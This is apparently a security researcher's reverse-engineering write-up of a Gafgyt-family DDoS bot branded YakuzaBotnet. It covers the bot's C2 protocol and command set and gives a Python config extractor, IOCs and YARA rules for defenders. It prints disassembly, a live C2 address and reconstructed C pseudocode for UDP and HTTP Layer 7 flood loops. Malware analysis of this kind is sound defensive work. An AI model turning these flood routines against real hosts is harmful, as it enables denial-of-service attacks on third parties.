A Gafgyt Variant Branded 'YakuzaBotnet': Walking Through an assailant.x86 ELF
A reversing walkthrough of a Gafgyt variant uploaded as assailant.x86, branded YakuzaBotnet and operated by the handle Scarface1337. Covers C2 protocol, eight attack commands, the classic NeTiS banner heritage, and a Python config extractor.
Introduction
Not every piece of malware tries to hide its ambition. Occasionally a sample lands on the analyst’s desk that wears its intentions like a badge. This ELF binary, a statically linked uClibc-compiled x86-64 DDoS bot, announces itself with three distinct branding strings stamped into its read-only data section: the operator handle Scarface1337, the bot brand YakuzaBotnet, and a banner lifted nearly verbatim from the 2015-era Bashlite source leak, Self Rep Fucking NeTiS and Thisity 0n Ur FuCkInG FoReHeAd We BiG L33T HaxErS.
That last string is the tell. It places this binary firmly inside the Gafgyt lineage, where it has sat since adliwahid uploaded it to MalwareBazaar as assailant.x86. What follows is a walkthrough of how this 92 KB bot daemonizes itself, speaks to its lone C2 server, and exposes eight operator commands covering roughly five distinct attack techniques, from UDP flood to Layer 7 HTTP flood with user-agent rotation. The sample carries no scanner and no credential brute-force module, an architectural choice that separates this variant from the Mirai branch of the Gafgyt family tree.
Sample Properties
| Property | Value |
|---|---|
| Filename on MalwareBazaar | assailant.x86 |
| SHA-256 | a105a6a8a5f3b949b8268ab62c6f90f42bb4d00608f6b786f9bf82eba391ab32 |
| SHA-1 | ab575608d6d6d67fa2efb2d20d602b717ec02856 |
| MD5 | 5de21bec814d435f3938f3f1614e9466 |
| ssdeep | 1536:W7WREyqkQc923v2uNi7pNF+BoD3Ophanvn00/FmoI5um2Xj5YZA0e:4RkQT3v9EbYBo7Ophanvn00dmr5um2Xx |
| File size | 92,932 bytes |
| Format | ELF 64-bit LSB executable, x86-64 |
| Linkage | Statically linked (uClibc) |
| Stripped | No |
| Compiler | GCC 4.1.2 |
| OS ABI | SYSV |
| Entropy (.text) | 6.283 |
| Family | Gafgyt (aka Bashlite, Lizkebab, Torlus, LizardStresser) |
| Variant branding | YakuzaBotnet |
| Operator handle | Scarface1337 |
| C2 | 192.109.200.254:1111 (TCP, plaintext) |
| MITRE tactics | Discovery, Command and Control, Impact |
Family Lineage
The canonical Gafgyt source code, also known as Bashlite, was leaked publicly on Hack Forums in the 2014-2015 window. Dozens of forks followed, collectively tracked under names like Lizkebab, Torlus, and LizardStresser, and parts of its IoT targeting approach later informed the Mirai codebase. This sample is a direct Gafgyt derivative rather than a novel family. Three fingerprints anchor the attribution:
-
The NeTiS banner. The exact string
Self Rep Fucking NeTiS and Thisity 0n Ur FuCkInG FoReHeAd We BiG L33T HaxErSis a recognized Gafgyt marker. Elastic Security publishes a byte-signature rule (Linux_Trojan_Gafgyt_eaa9a668) that matches on the ASCII prefix of this banner, and it has accompanied Gafgyt variants for nearly a decade. -
The flood-adjacent filler bytes. Large stretches of
.rodataare populated by the literal ASCII sequence/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9Arepeated for thousands of bytes. This is not encoded data and not a decoding key. It is a filler block that survives in the Gafgyt source tree and gets compiled into almost every fork, looking syntactically like escape-hex without actually being hex. Elastic ruleLinux_Trojan_Gafgyt_28a2fe0cmatches exactly this byte pattern across Gafgyt families. -
Command naming. The
UDPRAW,OVH,GAME,RANDHEX,STOP, andPGETcommand tokens are inherited from the leaked Gafgyt bot.c dispatcher. The compiler even preserved the original source file namesbot.candkill.cin the unstripped symbol table, a direct echo of the leaked tree layout.
This is a reskinned Gafgyt, not a new family. What makes it worth studying is the lack of a propagation module (no Telnet scanner, no SSH brute-force, no Mirai-style credential list) and the Layer 7 refinements in ovhl7.
Actor Attribution
The binary contains two operator-facing strings back to back in .rodata:
1
2
Scarface1337
YakuzaBotnet
The first is the operator handle, Scarface1337, a common skid-era alias format. The second is the bot brand that appears directly adjacent to it in the rodata banner, stitched into the Self Rep Fucking NeTiS... string. Attribution at this level should be treated as performative rather than reliable, since both strings can be edited in a builder, but the pairing with the NeTiS banner narrows the likely source tree: a Gafgyt fork that a Scarface1337-branded group built, branded YakuzaBotnet, and distributed as assailant.x86.
Kill Chain
On execution the bot:
- Seeds both libc
rand()(viasrand) and the bot’s in-tree Complementary Multiply-With-Carry generator (viainit_rand). Main callstime()andgetpid()twice, feeding the results into each seeder. - Performs a classic Unix double-fork, calls
setsid()andchdir()to fully detach from the controlling terminal. - Enumerates the local IPv4 address by reading
/proc/net/route. - Opens a TCP connection to the C2 at
192.109.200.254:1111via theconnectTimeoutwrapper. The binary references acoServertable accessed by index, but only a single server string is observed in this sample. - Sends the registration banner, enters the
recvLineloop, and dispatches each received line throughprocessCmd.
C2 Protocol
initConnection() at 0x004032cc parses the hardcoded server string 192.109.200.254:1111 by splitting on the colon, then opens a SOCK_STREAM socket and calls connectTimeout(). Once connected, the bot emits its banner through sockprintf():
1
sockprintf(mainCommSock, "%s \e[1;31mip:%s", getArch(), ourIP);
The escape sequence \e[1;31m renders the IP in red in ANSI-capable terminals. That cosmetic detail reveals the C2 UI: the operator sees connected bots in a terminal-based panel, not a web dashboard. After the banner the bot enters an indefinite read loop.
Infrastructure
The C2 endpoint lives inside a single /24 that maps to a well-known bulletproof-tolerant hosting chain:
| Attribute | Value |
|---|---|
| Netblock | 192.109.200.0/24 (entire /24 sub-allocated to the same tenant) |
| ASN | AS51396 PFCLOUD |
| Upstream LIR | Pfcloud UG (haftungsbeschränkt), Thyrnau, Germany |
| Sub-allocation maintainer | lir-bg-telco-1-MNT (Bulgarian startup LIR) |
| Sub-allocation created | 2025-04-09 |
| Route object (BGP announcement) | 2026-01-18, roughly three months before the sample surfaced on MalwareBazaar |
| Reverse DNS | eatablenorth.ptr.network (nonsense PTR scheme shared across the block) |
| Abuse contact | abuse@pfcloud.io |
The chain of RIPE assignment into a small German LIR that then re-delegates into a Bulgarian startup maintainer is a pattern commonly associated with abuse-tolerant hosting. The PTR on the C2 host itself is a low-information, template-looking name on the ptr.network tree, worth pivoting on if neighboring addresses in the /24 show the same shape. For perimeter blocking, the right unit of work is the /24, not the single host.
Probing the C2 endpoint from a researcher vantage returns connection timeouts across every common port including 22, 80, 443, 1111, 2222, and 6667. Either the host geo-filters non-bot traffic or the operator has already migrated. Either way, the durable IOC is the attribution chain (ASN, maintainer, advertisement date), not the single IP.
Command Dispatcher
processCmd() at 0x00402730 uses an strtok-split command array and dispatches each keyword through a chain of repe cmpsb comparisons. Radare2 shows the pattern clearly for the first token, XTD:
1
2
3
4
5
6
7
8
9
10
11
12
0x0040275c mov qword [var_e0h], 0x40da87 ; rodata pointer to "XTD"
0x00402767 mov qword [var_e8h], 4 ; compare length = 4 bytes
0x00402772 cld
0x00402773 mov rsi, qword [var_d8h] ; received command
0x0040277a mov rdi, qword [var_e0h] ; constant "XTD\0"
0x00402781 mov rcx, qword [var_e8h]
0x00402788 repe cmpsb byte [rsi], byte [rdi]
0x0040278a seta dl
0x0040278d setb al
0x00402790 sub cl, al
0x00402799 test eax, eax
0x0040279b jne 0x4028ee ; not XTD, try next command
This structure repeats for each of the eight recognized commands:
| Command | Handler | Purpose |
|---|---|---|
UDPRAW | sym.UDPRAW @ 0x00401783 | UDP packet flood, 256-byte handler |
OVH | sym.ovhl7 @ 0x00401a08 | HTTP Layer 7 GET flood with UA rotation |
XTD | sym.xtdcustom @ 0x00401683 | Custom configurable flood, forks via listFork |
GAME | internal | UDP-based game-server packet flood |
PGET | internal | HTTP GET variant, prefix-marked |
RANDHEX | sym.Randhex @ 0x00401883 | Returns a random hex string to the operator |
STOP | kill() on obj.pids | SIGKILL every tracked attack child |
stop | kill() on obj.pids | Lowercase alias of STOP |
Target IP, port, and duration are positional strtok-parsed arguments after the command keyword.
Attack Methods
SendSTD: UDP Flood
SendSTD() at 0x00401501 is the workhorse of the UDP-flood family. Correcting a first-pass reading that called it a raw-socket SYN flood, the actual system call is:
1
2
3
4
0x0040151f mov edx, 0 ; protocol = 0
0x00401524 mov esi, 2 ; type = SOCK_DGRAM
0x00401529 mov edi, 2 ; domain = AF_INET
0x0040152e call sym.socket ; returns a UDP socket
domain = 2, type = 2, protocol = 0 is a garden-variety AF_INET / SOCK_DGRAM UDP socket. No raw privileges are required. The bot then resolves the target via gethostbyname and populates a sockaddr_in. Inside the flood loop a small buffer is filled using the two template constants 0xCECECE and 0xECECEC combined with libc rand() calls, then sent to the target. The pattern below is a reading of the asm, not a literal source dump:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int fd = socket(AF_INET, SOCK_DGRAM, 0);
struct hostent *he = gethostbyname(target);
struct sockaddr_in sa = { .sin_family = AF_INET };
memcpy(&sa.sin_addr, he->h_addr_list[0], he->h_length);
sa.sin_port = htons(port);
time_t end = time(NULL) + duration;
uint32_t t1 = 0xCECECE, t2 = 0xECECEC;
while (time(NULL) < end) {
// mix rand() against the two template constants, pack into buf
memcpy(buf, &t1, sizeof(t1));
memcpy(buf + 4, &t2, sizeof(t2));
buf[rand() % sizeof(buf)] ^= (rand() & 0xFF);
send(fd, buf, sizeof(buf), 0);
connect(fd, (struct sockaddr *)&sa, sizeof(sa));
}
close(fd);
_exit(0);
Note that SendSTD seeds its randomness from libc rand(), not from the CMWC generator discussed below. The CMWC generator is used elsewhere in the binary, specifically by getRandomIP.
OVH L7 HTTP Flood: ovhl7
The most sophisticated vector targets Layer 7. For each iteration, ovhl7 picks a random User-Agent from a 59-entry array and constructs an HTTP/1.1 GET request.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int ua_idx = rand() % NUM_USER_AGENTS;
sprintf(request,
"GET %s HTTP/1.1\r\n"
"Host: %s\r\n"
"User-Agent: %s\r\n"
"Connection: close\r\n"
"\r\n",
path, host, user_agents[ua_idx]);
if (fork() == 0) {
int fd = socket_connect(host, port);
write(fd, request, strlen(request));
char buf[4096];
read(fd, buf, sizeof(buf));
close(fd);
exit(0);
}
The name ovhl7 is typical of Gafgyt forks, where OVH as a command token appears in multiple public leaks. OVH runs widely-used anti-DDoS infrastructure, and the method is tuned to exhaust per-connection request-rate limits rather than raw bandwidth. The 59-entry UA array is a grab-bag of browser and crawler signatures, including:
1
2
3
4
5
6
7
8
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 ... Chrome/65.0.3325.181 ...
FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)
TheSuBot/0.2 (www.thesubot.de)
BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)
zspider/0.9-dev http://feedback.redkolibri.com/
Mozilla/5.0 (Nintendo WiiU) AppleWebKit/536.30 ... NX/3.0.4.2.12 NintendoBrowser/4.3.1.11264.US
Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 ... Safari/7046A194A
The zspider, TheSuBot, BillyBobBot, and FAST-WebCrawler entries pre-date 2015 and appear in nearly every Gafgyt fork since. Their survival in modern variants suggests nobody has bothered to refresh the list in a decade.
UDPRAW and xtdcustom
UDPRAW at 0x00401783 is a compact 256-byte handler that emits UDP datagrams in a tight send loop. The specific per-packet payload shape is compiled in but I have not traced every byte; the relevant defensive fact is that it is a UDP datagram flood, not a raw-socket IP-header flood. xtdcustom at 0x00401683 is a configurable flood that spawns a worker pool via listFork, where the operator tunes concurrency through additional command arguments.
PRNG: Complementary Multiply-With-Carry
The bot uses Marsaglia’s CMWC4096 generator in rand_cmwc at 0x0040023d. The state is laid out at fixed addresses in .bss:
| Symbol | Address | Role |
|---|---|---|
obj.Q | 0x50fe80 | 4096-entry 32-bit Q-array |
obj.c | 0x50f97c | carry, initialized to 0x587c4 |
obj.i | 0x50f980 | index, masked with 0xfff |
The core update is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0x00400242 mov qword [var_18h], 0x495e ; a = 18782
0x0040024a mov dword [var_ch], 0xfffffffe ; m-1 = 2^32 - 2
0x00400251 mov eax, dword [obj.i]
0x00400257 inc eax
0x00400259 and eax, 0xfff ; i = (i+1) mod 4096
0x0040025e mov dword [obj.i], eax
0x00400264 mov eax, dword [obj.i]
0x0040026c mov eax, dword [rax*4 + obj.Q] ; x = Q[i]
0x00400275 mov rdx, rax
0x00400278 imul rdx, qword [var_18h] ; t = a * x
0x0040027d mov eax, dword [obj.c]
0x00400285 lea rax, [rdx + rax] ; t += c
0x00400291 shr rax, 0x20 ; c = t >> 32
0x004002a1 mov eax, dword [obj.c]
0x004002a7 lea eax, [rdx + rax] ; x = t + c
0x004002d7 sub ebx, edx ; Q[i] = (m-1) - x
0x004002dd mov dword [rax*4 + obj.Q], edx
Multiplier 0x495e (18782) paired with a 4096-entry Q-array matches the CMWC4096 parameter set commonly attributed to Marsaglia, with a published period on the order of 2^131086, vastly longer than libc rand(). In this binary the CMWC output feeds getRandomIP, where a long-period generator helps if the bot is ever asked to iterate a large random IP space without obvious aliasing. It does not feed the SendSTD UDP flood payload, which uses libc rand() directly.
What Is Not Here: No Propagation
Gafgyt forks typically include a scanner, for Telnet brute-force (SCANNER ON | OFF) or SSH credential stuffing. This sample has none. No embedded credential list, no KILLSUB competitor-killer, no UPnP or CVE exploit module, no TFTP or wget downloader. The bot does exactly one thing: wait for commands and flood. That narrow scope means YakuzaBotnet assumes it will be delivered by an external dropper or loader, and the operator is relying on a separate infection toolchain to populate the botnet.
Python Config Extractor
Because the C2 endpoint, branding, commands, and user-agent table sit in plaintext, a small static extractor can recover the full operator config without running the binary. The script below produces a JSON blob suitable for threat-intel ingestion.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3
"""Gafgyt (YakuzaBotnet / assailant) config extractor."""
import json, re, sys
from pathlib import Path
C2_RE = re.compile(rb"\b((?:\d{1,3}\.){3}\d{1,3}):(\d{1,5})\b")
CMD_KEYWORDS = {b"UDPRAW", b"OVH", b"XTD", b"GAME",
b"RANDHEX", b"STOP", b"stop", b"PGET"}
GAFGYT_BANNERS = [b"Self Rep Fucking NeTiS", b"L33T HaxErS",
b"Thisity 0n Ur FuCkInG FoReHeAd"]
ACTOR_RE = re.compile(rb"\b(Scarface\d{2,4}|YakuzaBotnet)\b")
def ascii_strings(data, min_len=4):
out, cur = [], bytearray()
for b in data:
if 32 <= b < 127:
cur.append(b)
else:
if len(cur) >= min_len:
out.append(bytes(cur))
cur.clear()
if len(cur) >= min_len:
out.append(bytes(cur))
return out
def extract(path):
data = path.read_bytes()
strings = ascii_strings(data)
c2 = []
for m in C2_RE.finditer(data):
ip, port = m.group(1).decode(), int(m.group(2))
if int(ip.split(".")[0]) in (1, 2, 3, 4) and port < 100:
continue
c2.append(f"{ip}:{port}")
uas = [s.decode(errors="ignore") for s in strings
if any(k in s for k in (b"Mozilla", b"Opera", b"Crawler",
b"crawler", b"Bot/", b"Browser",
b"Spider", b"spider"))
and len(s) > 25 and b"\\" not in s]
cmds = sorted({c.decode() for c in CMD_KEYWORDS if c in data})
actors = sorted({m.group(1).decode() for m in ACTOR_RE.finditer(data)})
banner = next((s.decode(errors="ignore") for s in strings
if b"Self Rep" in s and b"NeTiS" in s), None)
return {
"family": "Gafgyt",
"variant_branding": "YakuzaBotnet",
"sample_filename_observed": "assailant.x86",
"c2_servers": sorted(set(c2)),
"actor_signatures": actors,
"operator_banner": banner,
"attack_commands": cmds,
"user_agent_count": len(uas),
}
if __name__ == "__main__":
print(json.dumps(extract(Path(sys.argv[1])), indent=2))
Running it against the sample yields:
1
2
3
4
5
6
7
8
9
10
{
"family": "Gafgyt",
"variant_branding": "YakuzaBotnet",
"sample_filename_observed": "assailant.x86",
"c2_servers": ["192.109.200.254:1111"],
"actor_signatures": ["Scarface1337", "YakuzaBotnet"],
"operator_banner": "Scarface1337Self Rep Fucking NeTiS and Thisity 0n Ur FuCkInG FoReHeAd We BiG L33T HaxErS",
"attack_commands": ["GAME", "OVH", "PGET", "RANDHEX", "STOP", "UDPRAW", "XTD", "stop"],
"user_agent_count": 59
}
For analysts ingesting Gafgyt at scale, filtering on the banner prefix alone yields a very high-precision cluster of related variants.
Code Weaknesses
| Issue | Impact |
|---|---|
YakuzaBotnet, Scarface1337, and the NeTiS banner are stored in plaintext | Trivial strings pivot; YARA-detectable at the second byte |
| Binary is not stripped | All 70-plus symbol names visible, reconstructing the source tree takes minutes |
Single hardcoded C2 at 192.109.200.254:1111 | A takedown of one IPv4 kills the entire botnet, no DGA, no fallback list |
| No C2 traffic encryption | tcpdump over the C2 flow reveals every command in ASCII |
| No persistence mechanism | Bot dies on reboot, operator must re-seed |
GCC 4.1.2 build, ELF type ET_EXEC (no PIE), no __stack_chk_fail references in the symbol table | Classic stack-based bugs would be unmitigated |
| No anti-debug, anti-VM, or sandbox checks | Runs transparently under strace, ltrace, any automated analysis box |
| No scanner, no propagation | Botnet population cannot grow without an external loader |
The absence of any anti-analysis code is notable. The author invested effort in eight attack vectors and a CMWC PRNG, but none in operational security.
IOC Appendix
Network (active infrastructure)
| Type | Value | Context |
|---|---|---|
| IP:Port | 192[.]109[.]200[.]254:1111 | C2 server, TCP, plaintext |
| CIDR | 192[.]109[.]200[.]0/24 | Recommended perimeter block unit, entire /24 is sub-allocated to the same tenant |
| ASN | AS51396 PFCLOUD | Announcing ASN, Pfcloud UG, DE |
| LIR chain | lir-de-pfcloud-2-MNT to lir-bg-telco-1-MNT | Rotational abuse pattern, sub-allocation 2025-04-09, BGP announcement 2026-01-18 |
| PTR (host) | eatablenorth[.]ptr[.]network | Low-information name on the ptr.network tree, worth checking for the same shape on neighboring addresses |
| Abuse contact | abuse@pfcloud[.]io | Upstream reporting channel |
Domains embedded in User-Agent strings only (NOT infrastructure)
These three domains are artifacts of the Gafgyt source code’s historical User-Agent rotation table. They fingerprint the family but none of them resolve to attacker-controlled infrastructure as of this analysis. Treat as string IOCs for family attribution, not as blockable network IOCs.
| Domain | DNS status | Note |
|---|---|---|
feedback[.]redkolibri[.]com | NXDOMAIN, parent redkolibri[.]com not registered in .com | Home of the circa-2008 zspider/0.9-dev crawler, long dropped |
www[.]billybobbot[.]com | NXDOMAIN, billybobbot[.]com not registered in .com | BillyBobBot/1.0 crawler landing page, dropped |
www[.]thesubot[.]de | Zone delegated to ns0*.hyrons[.]de but returns SERVFAIL | TheSuBot/0.2 German crawler, abandoned zone |
File
| Type | Value |
|---|---|
| SHA-256 | a105a6a8a5f3b949b8268ab62c6f90f42bb4d00608f6b786f9bf82eba391ab32 |
| SHA-1 | ab575608d6d6d67fa2efb2d20d602b717ec02856 |
| MD5 | 5de21bec814d435f3938f3f1614e9466 |
| ssdeep | 1536:W7WREyqkQc923v2uNi7pNF+BoD3Ophanvn00/FmoI5um2Xj5YZA0e:4RkQT3v9EbYBo7Ophanvn00dmr5um2Xx |
| Filename (MalwareBazaar) | assailant.x86 |
Strings
| String | Use |
|---|---|
YakuzaBotnet | Bot brand, C2 registration banner |
Scarface1337 | Operator handle, banner prefix |
Scarface1337Self Rep Fucking NeTiS and Thisity 0n Ur FuCkInG FoReHeAd We BiG L33T HaxErS | Full operator banner, Gafgyt-lineage marker |
zspider/0.9-dev http://feedback.redkolibri.com/ | UA in 59-entry flood rotation |
ovhl7, UDPRAW, xtdcustom | Internal function names in symbol table |
bot.c, kill.c | Source filenames preserved in unstripped ELF |
MITRE ATT&CK Mapping
| Technique ID | Name | Tactic | Evidence |
|---|---|---|---|
| T1016 | System Network Configuration Discovery | Discovery | Reads /proc/net/route, /etc/resolv.conf |
| T1033 | System Owner/User Discovery | Discovery | getuid, geteuid, getgid calls |
| T1082 | System Information Discovery | Discovery | Architecture fingerprinting in getArch |
| T1057 | Process Discovery | Discovery | getpid, child PID tracking in obj.pids |
| T1071.001 | Web Protocols | Command and Control | C2 registration banner and commands over TCP in ASCII |
| T1095 | Non-Application Layer Protocol | Command and Control | UDP floods bypass application-layer controls |
| T1036 | Masquerading | Defense Evasion | 59 spoofed User-Agent strings in HTTP flood traffic |
| T1498.001 | Direct Network Flood | Impact | UDP flood paths (SendSTD, UDPRAW, GAME) |
| T1499.002 | Service Exhaustion Flood | Impact | ovhl7 L7 HTTP flood |
| T1499.003 | Application Exhaustion Flood | Impact | HTTP GET flood with UA rotation |
YARA Rules
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import "elf"
rule Gafgyt_YakuzaBotnet_Branding {
meta:
description = "Detects the YakuzaBotnet Gafgyt variant by operator branding strings"
author = "Tao Goldi"
date = "2026-04-24"
version = 1
sha256 = "a105a6a8a5f3b949b8268ab62c6f90f42bb4d00608f6b786f9bf82eba391ab32"
reference = "https://taogoldi.github.io/reverse-engineer/"
strings:
$brand = "YakuzaBotnet" ascii
$actor = "Scarface1337" ascii
$c2 = "192.109.200.254:1111" ascii
$netis = "Self Rep Fucking NeTiS" ascii
$foreheads = "0n Ur FuCkInG FoReHeAd" ascii
$ua_zspider = "zspider/0.9-dev http://feedback.redkolibri.com/" ascii
$func_ovhl7 = "ovhl7" ascii
$src_bot_c = "bot.c" ascii
$src_kill_c = "kill.c" ascii
condition:
elf.type == elf.ET_EXEC
and elf.machine == elf.EM_X86_64
and filesize < 200KB
and (
($brand and $c2)
or ($actor and $netis)
or 4 of them
)
}
rule Gafgyt_NeTiS_Banner {
meta:
description = "Generic Gafgyt lineage detector via NeTiS operator banner"
author = "Tao Goldi"
date = "2026-04-24"
version = 1
reference = "https://taogoldi.github.io/reverse-engineer/"
strings:
$a = "Self Rep Fucking NeTiS and Thisity" ascii
$b = "We BiG L33T HaxErS" ascii
$c = "L33T HaxErS" ascii
condition:
elf.type == elf.ET_EXEC
and filesize < 500KB
and any of them
}
rule Gafgyt_OVHL7_UA_Rotation {
meta:
description = "Detects Gafgyt-lineage bots carrying the classic 59-entry UA rotation table"
author = "Tao Goldi"
date = "2026-04-24"
version = 1
reference = "https://taogoldi.github.io/reverse-engineer/"
strings:
$ua1 = "zspider/0.9-dev http://feedback.redkolibri.com/" ascii
$ua2 = "TheSuBot/0.2 (www.thesubot.de)" ascii
$ua3 = "BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)" ascii
$ua4 = "FAST-WebCrawler/3.6" ascii
$ua5 = "FAST-WebCrawler/3.7" ascii
condition:
elf.type == elf.ET_EXEC
and 3 of them
}
Conclusion
YakuzaBotnet is a no-frills Gafgyt variant that trades operational security for attack power. Its eight-command dispatcher covers UDP flood, HTTP L7 flood with UA rotation, custom configurable packet shaping, and a game-server UDP vector, backed by a CMWC4096 generator for random IP selection and libc rand() for flood payload variation. Beneath the branding, the code lineage traces straight back to the 2014-2015 Bashlite leak, visible in the NeTiS banner, the /x38/xFJ/ filler block, and the preserved bot.c and kill.c filenames.
For defenders, the operational takeaway is simple. Block the whole 192.109.200.0/24 at the perimeter rather than just the single host, because the entire /24 is sub-allocated to the same tenant through a rotational LIR chain and the next C2 will most likely sit one or two addresses over. Deploy the YARA rules above on any Linux host scanning workflow, since the NeTiS banner alone will catch dozens of related Gafgyt variants with a single signature. Network-layer detection is equally cheap because the C2 traffic is ASCII over plaintext TCP, with a distinctive \e[1;31mip: banner that jumps out in any Zeek or Suricata flow dump. The BGP route object for this /24 was advertised only three months before the sample surfaced, which fits the pattern of operators spinning up fresh netblocks through small European LIRs; treating the ASN and maintainer chain (AS51396, lir-bg-telco-1-MNT) as higher-order IOCs will generalize better than the single IP.
For the broader IoT and embedded Linux ecosystem, the dependency profile is the real lesson. GCC 4.1.2 plus uClibc plus /etc/config/ path awareness points at a cross-compiled binary aimed at consumer routers and set-top boxes running buildroot-style firmware from a decade ago. Patching firmware, disabling exposed management interfaces, and blocking outbound traffic on non-standard ports remain the three controls that make this class of threat irrelevant.
The sample, the config JSON, YARA rules, and the Python extractor have been archived locally. Hashes and the C2 string are suitable for submission to community threat feeds.
References
- Malpedia:
elf.gafgythttps://malpedia.caad.fkie.fraunhofer.de/details/elf.gafgyt - Elastic Security public Gafgyt YARA ruleset, including
Linux_Trojan_Gafgyt_eaa9a668(NeTiS banner) andLinux_Trojan_Gafgyt_28a2fe0c(flood payload pattern) - MITRE ATT&CK techniques referenced throughout: T1016, T1033, T1036, T1057, T1071.001, T1082, T1095, T1498.001, T1499.002, T1499.003


